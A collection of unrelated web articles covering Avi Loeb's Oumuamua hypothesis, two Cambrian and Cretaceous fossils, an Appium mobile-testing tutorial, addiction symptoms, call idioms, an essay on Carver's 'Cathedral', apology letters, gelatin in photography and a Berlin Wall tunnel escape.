Japan's Hayabusa-2 Probe Expected to Land on Asteroid Ryugu in Late February
Harvard astronomer Avi Loeb made headlines at the time due to his very special take on the first known interstellar object to visit our solar system and is still standing by his conclusions.
"For me, the question of whether we are alone is the most fundamental in science", said Avi Loeb, chair of the Astronomy Department at the US university. He argues that it is essential from the scientific point of view to at least try conducting an Oumuamua alien investigation. He told The Express in an interview that people get really upset by the assumption in light of their general prejudice about extra-terrestrial civilizations.
“There is all this baggage from science fiction and Unidentified Flying objects (UFOs)”, he said adding the scientific community “shies away from discussing the search”, which he supports via using his high-profile tenure and reputation at the top US University.
“If I were to claim Oumuamua must have been artificial in origin, this would have required extraordinary evidence”, he said, going on to argue that what he is doing is trying to “motivate to collect” more of it.
According to Loeb, if it's thin like a pancake, Oumuamua could be a light, or solar, sail, propelled by solar radiation pretty much like the way wind pushes a boat. The promising technology is currently being developed and tested by NASA and other research groups, such as Breakthrough Starshot, which Loeb is a part of.
"It's quite possible that another civilization that had much more time for its technological development already matured this technology, and as a result, they're using it", he said, adding that it’s not speculation, but scientific assumptions based on Oumuamua’s unusual trajectory and inexplicable boost of speed.
“One can imagine many other civilisations out there because a quarter of all the stars have a planet the size and approximate surface temperature of the Earth. And these planets could accommodate liquid water and therefore the chemistry of life as we know it”, the astronomer pointed out before going on:
“And so if you roll the dice billions of times in the Milky Way alone, it is very likely that we are not alone”, he claimed, reiterating that Oumuamua does not look like any asteroid or comet ever before seen in this solar system, since it deviated from the traditional orbit and sports no typical cometary tail or gas around it.
It didn’t naturally come as a surprise that the view met with a barrage of criticism. One astrophysicist tweeted that the authors "insult honest scientific inquiry to even suggest it", while another, Julie Ziffer, who heads the Physics Department at the University of Southern Maine, said she doesn’t see the aforementioned as a “likely scenario”, agreeing with many others that Oumuamua is of natural origin.
This artist’s impression shows the first interstellar asteroid: 'Oumuamua. This unique object was discovered on 19 October 2017 by the Pan-STARRS 1 telescope in Hawai`i. - Sputnik International
Scientists Reveal Space Object From Another Solar System is a Comet
"I think it was ejected from some other system and probably is a fragment of some sort of rocky body", Ziffer said. She cited three reasons she doesn't believe Oumuamua is an extra-terrestrial object: the absence of a detected radio signal, second, the fact that it's tumbling instead of being controlled.
And last, but not least, Ziffer said, it would have been sent millions of years ago, and obviously left the solar system to never return again. Meanwhile, according to Amaya Moro-Martin from the Space Telescope Science Institute in Baltimore, cited by New Scientist, Oumuamua occurred naturally and might be a fractal snowflake.
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Two weird fossils
February 24, 2011 • 6:56 am
Hot off the press are two new papers about fossil creatures, an insect and a “lobopod” that may be closely related to the ancestor of modern arthropods (insects, spiders, crustaceans, millipedes, etc.)
In the newest issue of Nature, Liu et al. (reference below) describe a fossil lobopod from the Chengjiang formation: a Chinese formation containing an amazing array of fossils from the early Cambrian (ca. 525-520 million years ago). Chengjiang has yielded many bizarre creatures—like the later Burgess Shale, it preserved many delicate animals—but this is one of the most striking. It’s a new lobopod, Diania cactiformis (note the species name: it really does look like a cactus):
The quality of preservation is amazing. What are lobopods? They are an early group of anomalous animals that bear a certain resemblance to the living onycophorans (“velvet worms”), once thought to be a “missing link” between annelid worms and arthropods. Lobopods have often been seen as a stem group of modern arthopods: a stem group is an extinct group that is more closely related to the common ancestor of a diverse modern group than to the ancestor of any other group, but is not itself part of the first group.
Liu et al. confirm through phylogenetic analysis that Diania cactiformis is closely related to the ancestor of modern arthropods, but not descended from that common ancestor. It has arthopod-like “sclerotinized” limbs (sclerotin is a protein found in the hard arthropod cuticle), and arthopod-like jointed limbs. Here’s a reconstruction:
Liu et al.’s analysis also shows that the fossil and other lobopods are “paraphyletic”: that is, some members of the “lobopod” group are more closely related to other non-lobopod taxa than they are to other lobopods. That makes the Lobopodia a false grouping, since it does not include all the descendants of one common ancestor. The authors conclude:
Irrespective of its exact position, Diania, with its stout and spiny limbs attached to a slender, vermiform body, remains a highly unusual creature. It is hard to envisage it as the progenitor of any modern arthropod group, yet it may derive from a grade of lobopodian that acquired a key evolutionary innovation—and the name-giving character for Arthropoda—whereby sclerotized, jointed appendages began to fully develop.
The second beast is a fossil cricket Schizodactylus groeningae, whose description was published by Sam Heads and Léa Leuzingers in a fairly obscure journal, ZooKeys (reference below, access free). The description was based on two specimens from the remarkable Crato Formation of Brazil, dating back about 112 million years. The formation is amazing because it preserved many delicate creatures, especially insects. You can see the veins of their wings, and sometimes even their colors! Here are a couple of non-crickets from Crato.
First, an Ephemeropteran (mayfly). Remember, this insect lived more than a hundred million years ago:
A grasshopper-like insect placed in the family Eincanidae:
Here’s the fossil cricket described by Heads and Leuzinger. It was formerly named Brauckmannia groeningae:
Notice the coiled wings and the “lateral processes” on the feet. These are similar to those of living “splay-footed crickets” that are placed in the genus Schizodactylus. And that’s the excuse for posting the fossil, for I didn’t know of these crickets, and they’re weird. Crickets in the family Schizodactylidae live largely in the sand dunes of Asia and Africa. Their splayed feet act, in fact, like snowshoes, helping them make their way over unstable sand. Here’s a modern one, Schizodactylus inexpectatus (photo copyright by Jan Sevcik):
The authors conclude that the fossil cricket shares so many features with the modern ones in this genus, including coiled wings and those “sandshoes,” that it should be placed in the genus Schizodactylus as well; and they renamed the fossil beast Schizodactylus groeningae. When a species is renamed (“synonymized”) in this way, that means that the earlier genus name, Brauckmannia, can never be used again.
Heads, S. W. and L. Leuzinger. 2011. On the placement of the Cretaceous orthopteran Brauckmannia groeningae from Brazil, with notes on the relationships of Schizodactylidae (Orthoptera, Ensifera). ZooKeys 77:17-30.
Liu, J., M. Steiner, J. A. Dunlop, H. Keupp, D. Shu, Q. Ou, J. Han, Z. Zhang, and X. Zhang. 2011. An armoured Cambrian lobopodian from China with arthopod-like appendiges. Nature 470:526-530.
27 thoughts on “Two weird fossils
1. Question – if the ancient cricket is placed in the same genus as the modern one that lives in desert locations, & the same rock formations where the ancient Schizodactylus was found contain mayflies, were they contemporary? Mayflies mean reasonably slow flowing water, & yet the crickets suggest sand or dunes?
2. How wide of a time span does the cricket & mayfly fossil deposit cover?
I expect relatively wet periods, with lots of rivers suitable for mayflies, could alternate with relatively dry periods, with lots of dunes suitable for weird crickets, over a time frame of thousands to tens of thousands of years.
Those crickets are weird, and it looks like Dr. Coyne was not the first person to be struck by their oddness – I like the species name of the living example “inexpectatus“.
3. Interesting stuff! I would take issue, though, with the characterization of ZooKeys as an “obscure” journal. It’s only obscure if you’re not a Systematist.
4. Humble questions from Michaelia ignoramis:
Love it ! Looks like a construction toy so I shall dub the ‘walking cactus’ Diania legoformis
I understand that modern aquatic arthropods breathe using gills borne on appendages or body segments
Did early aquatic arthropods breathe using the same ‘technology’ ?
From what Jerry writes above: The Diania cactiformis is believed to be a close relative to the ancestor of modern arthropods (but not descended from that common ancestor)
Did this animal have gills ?
If so, where are they in the reconstruction illustration ?
More generally did all multicellular aquatic animals from this era use gills or are there other ways of extracting oxygen from water ?
Why is the sclerotin on the limbs shaped into bumps ? Perhaps to imitate aquatic vegetation ? Increased armour ?
1. Would it be able to obtain enough oxygen through diffusion as it has a complex surface & is thin & perhaps had a low density of organic matter?
2. OK ~ I’ve spent a few hours reading a little about the fascinating, confusing, mysterious early Cambrian & I’m going to make a complete guess & wait to get shot down…
I would appreciate comments from anyone who knows some biology ~ I do not
This is an aquatic, armoured, worm with pods & it’s a type of lobopod. It has a ‘nozzle’ on the front & it ‘vacuums’ up the debris from the sea bottom & processes it through its simple straight gut. The pods do not APPEAR to be differentiated in the Swiss-army-knife-fashion of the later arthropods & so I’m assuming that there might be attachments to the pods that have not fossilised.
I’m guessing that it had gill fronds where the pods join the tube body because diffusion would not permit sufficient oxygen throughput to fuel locomotion. Also movement would increase the amount of waste products ~ this creature would need to excrete a large amount of toxic ammonia & it is too long to do this down the gut. I understand that in modern aquatic arthropods the gills are generally considered to be the main route of ammonia excretion.
I wonder what the four pairs of front pods were used for ? They don’t look like they were for grasping. Maybe to clear surface debris for the nozzle ?
5. Your statement about synomization removing the previous genus from available names is correct only if the type species is moved to another genus. I take it this is the situation under discussion.
6. Dr Coyne, isn’t the velvet worm supposed to be related not just to the common ancestor of Arthropoda and Crustacea, but also the common ancestor of those with Chordata? In other words, the great grandfather of humans and flies?
1. No!
First, crustaceans are arthropods. Second, onychophorans are very clearly ecdysozoan protostomes closely related to arthropods.
The common ancestor of humans and flies is the common ancestor of all deuterostomes and all protostomes, the “urbilaterian”. Whatever it was, it was nothing like a velvet worm.
1. … if it is, while superficially similar, note that there is one big distinguishing characteristic:
check out how the segments are arranged in the lobopod, vs. how they are in the crinoid (which is in this case, a feather star).
you see how the limbs on the lobopod are directly opposite each other, while in the crinoid, they are a bit offset?
you’ll find a similar pattern in all crinoids.
the bilaterally symmetrical segmentation in the lobopod puts it outside the echinoderms in my book, but things change fast in the world of the early and pre cambrian these days.
1. Alternate vs opposite? OMG it is almost botanical! LOL
I was actually thinking of bristle stars when looking at the drawing. I admit it was just a superficial first impression kind of thing not based on actual details of anatomy.
Have I seen post at AlterNet?
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Running Tests on Mobile Devices with selenium and Appium
It's no secret that mobile testing is crucial today as customers have more dependencies in their mobile phones, and Appium is one of the most popular tools for mobile automation. Appium is an open-source test automation framework for native, hybrid, and mobile web apps. It drives iOS, Android, and Windows apps using the WebDriver protocol.
When working with Selenium and Appium tools, the primary tool is the 'Driver'; It manages to find UI elements in web applications and interactions with them. For example, we can find search fields, enter a specific search query and validate the search results.
So there are several things that we need to install before we can run tests on our mobile devices. I'm going to use a physical Android device, and I'm also going to show you how you can run the test on a virtual device to run your tests without having a physical device next to you.
The environment preparation for using Appium will usually contain three phases:
Phase 1: Navigate to "https://appium.io" and Download Appium for windows
Phase 2: Download and deploy Java SE Development Kit
Download the java kit for your operating system; I'm using Windows 64 bit. So this is my Java development kit. We need it because Android is written in java, and this is the thing our Android tools will need to work with our android devices.
Phase 3: Download and deploy "Android Studio"
The only thing we will need from this tool is the "Android SDK," which will be deployed as part of this SDK.
Now that the environment is ready, things will start becoming more complicated and include a few more settings that we will have to do before we can start creating and running tests on your android device.
Thes settings we will have to add:
On your window explorer -> Right Click on "My Computer" -> Properties -> Advanced System settings.
On the "System Properties" dialog -> Choose the "Advanced" TAB and then select "Environment Variables."
We will have to create two new variables called "ANDROID_HOME" and "JAVA_HOME." To do it, click "New..."
Variable Name: ANDROID_HOME
Variable Value: C:\Users\.....\AppData\Local\Android\Sdk
Variable Name: JAVA_HOME
Variable Value: C:\Program Files\Java\jdk-16.0.2
Now the last thing that we will need to do is to edit the system path variable with three new paths:
1. C:\Users\home-pc3\AppData\Local\Android\Sdk\platform-tools
2. C:\Users\home-pc3\AppData\Local\Android\Sdk\tools
3. C:\Program Files\Java\jdk-16.0.2\bin
Working with Physical Android Device
The first example that I will show you is how to work with a physical android device. To be able to do it, we will need to set the following configurations on the physical device:
1. Set "Developer" mode settings to 'ON.'
2. Under "Developer Options," set "USB debugging" to 'ON.'
3. Under "Developer Options," set "Stay awake" to 'ON' to keep the phone turned on when connected.
4. Connect your phone to a computer with a USB connection.
Now its time to ensure that the phone is correctly connected to your computer:
1. Open Command Prompt.
2. Send input: adb devices.
3. validate that your mobile device is attached
One last thing that we need to do is to install Appium in our project:
1. Open your VS project.
2. In the solution Explorer - > Manage NuGet Packages...
3. Install "Appium WebDriver".
Now that we installed the Appium package, it's time to write code. The first thing that we will have to do is to create and initialize a new Android driver:
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using SeleniumExtras;
using OpenQA.Selenium;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium.Chrome;
using OpenQA.Selenium.Support;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.Android;
using OpenQA.Selenium.Appium.Enums;
namespace AppiumTutorial
public class UnitTest1
//Creating a new AppiumDriver
public static AppiumDriver<IWebElement> driver { get; set; }
public static void ClassInitialize(TestContext context)
//Set the driver capabilities in order to be able running our tests
DesiredCapabilities capabilities = new DesiredCapabilities();
capabilities.SetCapability(MobileCapabilityType.DeviceName, "device");
capabilities.SetCapability(MobileCapabilityType.BrowserName, "chrome");
//Initialize a new Android Driver with the Appium server settings
driver = new AndroidDriver<IWebElement>(new Uri(""), capabilities);
public void TestMethod1()
public void cleanup()
Note: The localhost and port of the Appium server are located in the server configuration menu, take it and press "Start Server."
There are two known errors that you may encounter when executing tests:
Error 1: Permission denial
The reason for this error is that there are vendors who add security limitations, which leads to "Permission denial: writing to secure settings requires android. Permission.WRITE_SECURE_SETTINGS"
What will usually works is to enable the following options in your device:
Error 2: Neither ANDROID_HOME nor ANDROID_SDK_ROOT environment variable was exported
The solution to this problem is straightforward. Open the Appium Server In main UI, Edit Configurations, set requested variables, and restart.
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11 Symptoms of Drug Addiction (And How to Recover)
symptoms of drug addiction
Drug addiction, now called substance use disorder, is a brain disorder. There is a science to addiction that begins the moment a substance reaches the brain and alters its functioning, specifically the circuits associated with reward, stress, and self-control.
Dopamine is a neurotransmitter in the brain most affected by substance misuse. When a person takes a drug, it attaches itself to dopamine receptors in the brain and instructs those receptors to flood the reward center of the brain with feel-good chemicals. The chemicals are released in much higher amounts than the brain can do naturally, making a person feel better than they have ever felt before.
In this article, we’re exploring 11 symptoms of drug addiction.
Symptoms of Drug Addiction
The brain will do whatever it can to continue feeling so good and to convince you to continue using substances. Withdrawal symptoms are one way of doing this. Producing uncomfortable withdrawal symptoms makes it more likely you will keep misusing the substance. Because drugs impair the parts of the brain responsible for self-control, you get stuck in a cycle of trying to quit misusing drugs and relapsing.
There are eleven criteria used to diagnose someone with substance use disorder that involve symptoms that can range from mild to severe. Here are the most common symptoms of drug addiction you can expect.
1. Tolerance
When you first start misusing substances, you may only need a small amount to get high and feel the effects of the drug. If you continue to use, you will need more of the substance to achieve the same effects. This is called tolerance.
2. Cravings
When you go without an addictive substance for any period, you may have thoughts about it. You may have intense urges or cravings to find and use the drug. You may feel your thoughts are obsessive and no matter what you do to distract yourself, your thoughts go back to drugs or alcohol.
3. Damaged Relationships
Substance misuse can create friction in all relationships. You may find yourself arguing with family, being reprimanded at work, or losing friendships because the top priority is seeking and misusing drugs or alcohol. You continue to misuse substances even though it causes problems in relationships.
4. Neglecting Responsibilities
When someone has a substance use disorder, they have very little time for work, school, home, or social responsibilities. Some even neglect their children.
5. Loss of Control
Trying to put limits on how much or how often you misuse substances often ends without success. You intend to stop after one or two uses but then feel a greater urge to continue. This is a sign that the substance has control.
6. Risky Behaviors
To obtain drugs or alcohol, you may put yourself in dangerous situations. Examples include meeting drug dealers in high crime areas, driving while intoxicated, or sharing needles with IV substance users. Addiction becomes more important than personal safety.
7. Withdrawal Symptoms
If you try to quit misusing substances cold turkey or do not have access to substances for several hours after your last use, you may experience withdrawal symptoms. Withdrawal symptoms may include flu-like symptoms, nausea, vomiting, muscle spasms, headaches, and many more. They can cause great discomfort, which is one reason you continue to misuse substances.
8. Continue to Use Despite Consequences
Many people who have substance use disorders also have negative consequences occurring at the same time. Consequences such as DUI or legal troubles, loss of job, unpaid financial debt, and worsening physical conditions are a few examples. Yet despite these consequences, you cannot stop misusing substances.
9. Giving Up Activities
Those with a substance use disorder find reasons to avoid activities they once enjoyed. Whether it is a family event or individual activity, they prefer to isolate rather than participate. They withdraw from family and friends and spend much of their time alone with their substances.
10. Time Spent on Substance-Related Behaviors
There is a cycle that most people with a substance use disorder get stuck in daily. They start to feel withdrawal symptoms, so their attention focuses on obtaining money to buy drugs or alcohol. Once they have the money, they focus on finding and purchasing substances. Then, they misuse the substance until it is all gone and the cycle repeats. Looking back on their day, almost every minute they are awake is spent in the cycle.
11. Inability to Quit
Not many people with substance use disorder are having a good time. They are in survival mode, trying to avoid withdrawal symptoms. The misuse of substances is more about helping them feel normal rather than getting high. If they could stop misusing alcohol or drugs, they would. But they can’t. No matter what they try, they cannot quit.
Physical and Psychological Signs of Addiction
Each substance creates a set of physical and psychological symptoms. Depressants may make someone appear unmotivated or zoned out. Stimulants may make someone appear manic or agitated. Here are some general signs to watch for if you suspect someone has a substance use disorder.
• Bloodshot or glossy eyes
• Change in appearance, usually poorer hygiene, or disheveled look
• Sudden changes in weight
• Slurred speech
• Lack of coordination
• Runny nose
• Scratching different spots on the body
• Sudden mood changes
• Acting paranoid or fearful for no reason
• Change in personality
How to Recover
Recovery from substance use disorder can happen. There is a specific process with evidence-based treatments to help. It starts with an assessment by a licensed treatment professional to determine what level of treatment meets your needs. For those who need medication to ease withdrawal symptoms, inpatient detox is the best choice. Medication can also control cravings and urges. Other levels of treatment, from most intensive to least, include residential treatment, partial-hospitalization, intensive outpatient, and general outpatient counseling.
At each level, various treatment methods are used to teach you early recovery and relapse prevention skills that can help you maintain recovery long-term. Peer support groups, 12 Step facilitation groups, family therapy, and alternative treatments are included in an individualized, yet comprehensive, treatment plan.
You can start your recovery journey today. Call us for an assessment and we can create the best treatment plan to help you overcome drug addiction.
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Reading set "Idioms with call to learn" (Number of items 10)
Flashcards test for this set by: definition/description
within call
within call or within hail {adv. phr.}
1. Near enough to hear each other's voices.
When the two ships were within hail, their officers exchanged messages.
Billy's mother told him to stay within call because supper was nearly ready.
2. In a place where you can be reached by phone, radio, or TV and be called.
The sick man was very low and the doctor stayed within call.
The soldiers were allowed to leave the base by day, but had to stay within call.
Categories:adverb call
on call
on call {adj. phr.}
1. Having to be paid on demand.
Jim didn't have the money ready even though he knew the bill was on call.
2. Ready and available.
This is Dr. Kent's day to be on call at the hospital.
The nurse is on call for emergency cases.
Categories:adjective call
at one's beck and call
Ready and willing to do whatever someone asks; ready to serve at a moment's notice.
A good parent isn't necessarily always at the child's beck and call.
Categories:adjective call
at call
at call {adj.} or {adv. phr.}
1. Ready or nearby for use, help, or service; on request.
Thousands of auto insurance agents all over the country are at the insured person's call, wherever he may travel.
2. At the word of command; at an order or signal.
The dog was trained to come at call.
Categories:adjective adverb call
call the tune
call the tune {v. phr.}, {informal}
To be in control; give orders or directions; command.
Bill was president of the club but Jim was secretary and called the tune.
The people supported the mayor, so he could call the tune in city matters.
Categories:call informal verb
call one's shot
call one's shot {v. phr.}
1. To tell before firing where a bullet will hit.
An expert rifleman can call his shot regularly.
The wind was strong and John couldn't call his shots.
Categories:call verb
call on
call on or call upon {v.}
1. To make a call upon; visit.
Mr. Brown called on an old friend while he was in the city.
2. To ask for help.
He called on a friend to give him money for the busfare to his home.
Categories:call verb
call up
call up {v.}
1. To make someone think of; bring to mind; remind.
The picture of the Capitol called up memories of our class trip.
2. To tell to come (as before a court).
The district attorney called up three witnesses.
3. To bring together for a purpose; bring into action.
Jim called up all his strength, pushed past the players blocking him, and ran for a touchdown.
The army called up its reserves when war seemed near.
4. To call on the telephone.
She called up a friend just for a chat.
Categories:call verb
call it quits
call it quits {v. phr.}, {informal}
1. To decide to stop what you are doing; quit.
When Tom had painted half the garage, he called it quits.
2. To agree that each side in a fight is satisfied; stop fighting because a wrong has been paid back; say things are even.
Pete called Tom a bad name, and they fought till Tom gave Pete a bloody nose; then they called it quits.
3. To cultivate a habit no longer.
"Yes, I called it quits with cigarettes three years ago."
Categories:call informal verb
call off
call off
call off {v.}
To stop (something planned); quit; cancel.
When the ice became soft and sloppy, we had to call off the ice-skating party.
The baseball game was called off because of rain.
Categories:call verb
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A Woman's Point of View
The narration of the story "Cathedral," written by Raymond Carver in 1983, is told through the husband. In reading the story, the narrator's opinion of certain characters becomes well-known. The tone of the story from the husband's narration goes from a somewhat angry and jealous tone to a more sensitive and understanding tone. Viewing the story from a different narration would change the tone of the story all together as well as the reader's feelings and opinions. For example, viewing the story through the narration of the wife instead of the husband would definitely give the reader a different perspective. .
Throughout the story the husband talks very briefly about his wife's previous husband. By just briefly mentioning the existence of his wife's ex-husband, he gives off a tone of slight discomfort and jealousy towards him. He makes comments about the ex-husband that show resentment such as, "this man who"d first enjoyed her favors" (1056). Had the story been narrated by the wife, the topics of interest would have not been the same. His wife would not have spoken of her previous relationships in that way; rather she would have given the reader a better understanding of her life. She would have probably talked about the things that she went through in life. For example, she might have spoke of her unhappiness with her previous husband because of all the traveling they did, and she probably would have given a better understanding as to why she thought over dosing on pills would have been an escape for her unhappiness. .
In the beginning of the story, the husband talks about the blind man. He shows much dislike for the man as well as envy although he never really knew the man. His repugnance towards the blind man he makes known by saying such things like, "My idea of blindness came from the movies. In the movies, the blind moved slowly and never laughed. A blind man in my house was not something I looked forward to" (1057).
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How to Write an Apology Letter to Someone
A written apology can mean a lot — and ensure you say what you truly need to say.
Originally Published:
An apology, a real apology to someone you hurt, is a difficult thing to get right. You must put time and effort into it, own up to what you did, explain what went wrong, express genuine remorse, and, eventually, ask for forgiveness. This is no easy task and can lead to stumbling over words, missed sentiments, and an angry stare from the person on the receiving end of the apology. That’s why writing an apology letter is often a good idea.
“Writing out an apology, rather than voicing it, can be immensely helpful because it allows you the opportunity to slow down and reflect,” says Liza Gold, a licensed clinical social worker and the founder and director of Gold Therapy NYC. “When writing an apology, you have the chance to be deliberate with your words, and written language is deeply impactful.”Now, before we go further. This should be obvious, but just in case: do not text your apology. This is the last tactic you should take and could end up doing more harm than good. “Friends don’t let friends text apologies!” says Jennifer Thomas, a psychologist and the author of The 5 Apology Languages. “It’s just too simple. It doesn’t show your sincerity because it’s too easy.” Moving on: A well-worded apology should include words of love and appreciation, as well as contrition. Be sincere and specific in what you say and don’t try and offer explanations or excuses. Take your time and really compose it. Proof it. Keep the words “but” and “if” out of it. “And do not try to share the blame — own it,” says Thomas. Here are a few tips to remember when writing an apology letter.
1. Accept Responsibility
First and foremost, you need to be willing to own up to what you did. If you can’t accept responsibility for your actions, then the entire apology is destined to fail. Say upfront that you know what you did was wrong and that you are taking full responsibility for your actions.
“This communicates to the person that you are aware and are taking responsibility for how you responded or behaved,” says Ernesto Lira de la Rosa, a psychologist and media advisor for Hope for Depression Research Foundation. “It also shows that you are considering how your actions may have had a negative impact on the person and the relationship.”
2. Admit Remorse
Be open and vulnerable and express to them your regrets. Be very clear that you are sorry and make sure they know what you are sorry for.“Don’t use phrases that seem disingenuous such as ‘I am sorry you felt that way,’ says Peer. “Likewise, don’t diminish how that other person is feeling by suggesting they were being over-sensitive or misconstrued what you did or said. Everyone is entitled to a perspective on their feelings.”
3. Acknowledge Harm
Sometimes it’s hard to admit, or even see, that we have hurt another person. But coming clean and telling the other person that you’re aware of how you hurt them can help make them feel heard. Says Lira de la Rosa, “This will help the person accept your apology because you are validating their experience of a situation where they felt harmed by you.”
4. Explain What Went Wrong
How did it get to this place? What were your original intentions? Why did you let your emotions get the better of you? You must explain the internal logic that led you to do wherever it was you’re now apologizing for. This will enable you t explain your actions without offering excuses or defending yourself and can help the other person see where you were coming from without it sounding like you’re making excuses. “It helps provide them with context,” says Lira de la Rosa.
5. Read it Out Loud
In any kind of writing endeavor, the best editing is to read it out loud to yourself. You can hear how the words sound to your ears and ensure that you are getting across the correct message. “How does it sound to you?” says Gold. “Are you conveying heartfelt sincerity, or are you justifying your actions? Do your words convey remorse, or do they express anger?”
6. Pause Before Sending
Whenever we’re writing anything that is emotionally charged, it’s important to take a breather before we actually send it. Don’t just compose it and fire it off, walk away for a few hours, or even a day and then go back and read it when your emotions have settled down. “You can even pretend the letter was written to you,” says Gold. “How does it feel receiving this apology?”
7. Look Ahead
You should close your letter with an open-ended offer to meet in person to talk and a question as to what you can do to put things right. Don’t delve too deeply into your own issues, keep it short and simple. Then, talk it out. Face to face if possible.
Says Peer, “At the end of the conversation, make sure you both feel that the issue has been completely and fairly resolved so that it stays in the past.”
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For pictures and prints
Jelly, aspic or pharmaceutical capsules – this is what comes to mind when most people think of gelatin. Less well known, however, is the important role gelatin plays in making photographs and X-rays – and in art.
In the picture with gelatin
Thanks to gelatin, amateur films, colorful paper, graphic films and X-ray films can be produced on an industrial scale. Silver photography forms the basis for analogue picture development for both black-and-white films as well as X-ray films. Silver-salt photographic material is composed of film or paper with up to 15 layers of a coating that contains gelatin. In this, the gelatin acts as a binding agent for the light-sensitive silver halides.
In the picture with gelatine
Due to its swelling properties, the photographic essences can permeate the layers and be removed again through washing. Gelatin plays an important role in this complex substrate technology. It can form a solution when heated that sets again to a gel when cooled and is preserved after water is removed. Gelatin has the properties necessary to produce highly sensitive photographic films, especially color and X-ray films that require an especially high degree of sensitivity.
Gelatin and X-ray film
X-ray film is a large-format black-and-white film that is usually coated on both sides to increase its sensitivity to light. The emulsion layers contain light-sensitive silver halides embedded in gelatin. The film is protected from light irradiation in a cassette along with screens that are illuminated when exposed to X-ray radiation. What becomes visible on the film depends on how much radiation is absorbed by the body of the patient positioned between the X-ray source and the film material.
Gelatin in analogue and digital photography
Gelatin is also involved in making paper prints: photographic paper is a light-sensitive, coated, paper-based material. Just as with film, the light-sensitive substances (e.g. silver halides, dye couplers) necessary for the photo development process are embedded in many layers of gelatin to protect them from mechanical damage.
Manufacturers of film materials value gelatin as a raw material that cannot be replaced by synthetically manufactured plastics or polymers. Furthermore, similar to polymers, gelatin of consistent high quality can be industrially manufactured in modern plants.
Gelatin also plays an important role in digital photography. The gelatin-coated “photo paper” used to print digital images guarantees that colors stay brilliant and forms sharp.
Gelatin in inkjet applications and art prints
Here, the gelatin coating is not used to protect light-sensitive substances. Instead, its swelling properties are used to enable the absorption of water-soluble printer ink by the paper. The ink is then sealed into the dried gelatin coating on the inkjet paper and thus protected from the damaging effects of sunlight and ozone. Inkjet colors would fade on papers without a gelatin coating.
In addition, several alternative photographic processes use gelatin as a carrier of the pigment or rather chemical layer. These processes are primarily used in art photography and graphic reproduction and result in prints of the highest quality.
Gelatin in painting and props
Albrecht Dürer, William Turner and Vassily Kandinsky could apply it as skillfully as the ancient Egyptians: the art of watercolor painting. While the artists on the Nile worked with rather rough pigments dissolved in a gum arabic solution on a chalk base, today, extremely fine pigments are mostly used that penetrate down into the paper fibers. Binding agents such as gum arabic, synthetic products or gelatin are applied to bind the pigments into a homogenous color.
To ensure that the fine color pigments do not penetrate too deeply into the paper and “disappear”, watercolor paper is dipped into a gelatin bath to apply a fine coating. The coating also lends a slight sheen to the paintings.
Gelatin's diverse range of applications has been inspiring artists of all genres from time immemorial. Theatrical and cinematic productions also make use of its flexible design properties. Thus, make-up artists use dyed gelatin to create realistic wounds or fantasy figures. Organs as well, such as those seen on popular hospital or crime series, are often made exclusively of gelatin.
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The official website for BBC History Magazine and BBC History Revealed
Escape from East Berlin: an audacious bid to tunnel under the Berlin Wall
The building of the Berlin Wall in August 1961 triggered a rush of escape bids – none more ambitious than one masterminded by a student named Joachim Rudolph. Helena Merriman, producer and presenter of new podcast Tunnel 29, tells a story of flooded tunnels, Stasi spies and families reunited – filmed live for American TV
Setting a trap: East German soldiers construct the Berlin Wall, 13 August 1961. The barrier was an attempt to stop the flood of Germans fleeing from east to west – yet, as scores of audacious escape bids attest, it didn't entirely succeed. (Photo by Keystone-France/Gamma-Keystone via Getty Images)
Published: December 27, 2019 at 8:00 am
It’s the middle of the night and Joachim Rudolph is wading through a river. There’s a watchtower above him with border guards inside; he knows they’ll kill him if they see him. He clambers up a bank, crawls through a field, and as the sun begins to rise, he realises he’s made it. He’s escaped to West Berlin.
This was September 1961, a little less than two months after the Berlin Wall had gone up. It was built by the East German government to stop the flood of people leaving the communist dictatorship for a better life in the west. What made this wall so extraordinary was the speed at which it was built. Ten thousand East German soldiers had gone into the streets in the dead of night, stringing barbed wire from posts and making concrete barricades. When people woke up on 13 August 1961, they suddenly found themselves on one side of the wall: wives were cut off from their husbands; brothers from their sisters. There were even stories of newborn babies in the west now separated from their mothers.
That very day, the escapes had begun. Some just jumped over the barbed wire; others were more inventive, like the couple who swam across the river Spree, pushing their three-year-old daughter in front of them in a bathtub. Joachim had spent weeks planning his escape, and now he’d done it. He enrolled in an engineering course at a West Berlin university and was beginning his new life, when one morning there was a knock at the door. It was two students. They had a plan to build a tunnel to get some friends out of the East and they wanted Joachim to help dig it.
A nest of spies
There’s an old East German joke: why do Stasi officers make such good taxi drivers? Because you get in the car, and they already know your name and where you live. The Ministry for State Security (otherwise known as the Stasi) was the most powerful part of the East German government. It combined the secret police and the government’s intelligence services, and its mission was to know everything. While they got some of their information from hidden microphones, their greatest assets were their informants. They had hundreds of thousands of them, a higher proportion than most other secret police in history. On 28 September 1961, they were just about to recruit one: a hairdresser called Siegfried Uhse. They’d caught him carrying smuggled cigarettes for a “homosexual orgy” and told him he could avoid prison if he became a Stasi agent. Much of what follows comes from the files connected to him, which are kept in the Stasi Archives, a huge underground vault in East Berlin, in what used to be the Stasi headquarters. There are 2,735 documents about him, recording everything from his favourite books (he hated cheap romance novels, loved Tolstoy) as well as his first assignment: to look for fluchthelfers – the German word for escape helpers. These were people in the West who helped people in the East escape. In other words, he was now on the hunt for people just like Joachim.
As Siegfried began his secret assignment, Joachim and the others were getting to work on the tunnel. They stole spades and pickaxes from a cemetery, recruited more diggers from the university and persuaded a factory owner to let them start digging from his cellar. Then on 9 May 1962, just before midnight, the group drove to the factory, went into the cellar and began digging. “We had no idea where to start,” Joachim told me when I interviewed him for the Radio 4 series Tunnel 29. “We’d never seen a real tunnel. But we’d seen footage of tunnels on TV, ones that had failed, and that gave us ideas about how to dig one.” They hacked into the concrete and dug out the screed and clay until they had a small hole. They made it deep enough so they wouldn’t run into the city’s water table and then started digging horizontally towards the East. After a few weeks, they were exhausted, but they hadn’t even reached the border yet. They needed two things: people and money.
Thousands of miles away in New York, Reuven Frank, a hot-shot TV executive at the American network NBC, was thinking about how to tell the story of Berlin. He had an idea: what if he were to tell an escape story? And what if he could film it as it was happening? It could revolutionise television news. He took his idea to the NBC correspondent in Berlin, Piers Anderton, who began the search.
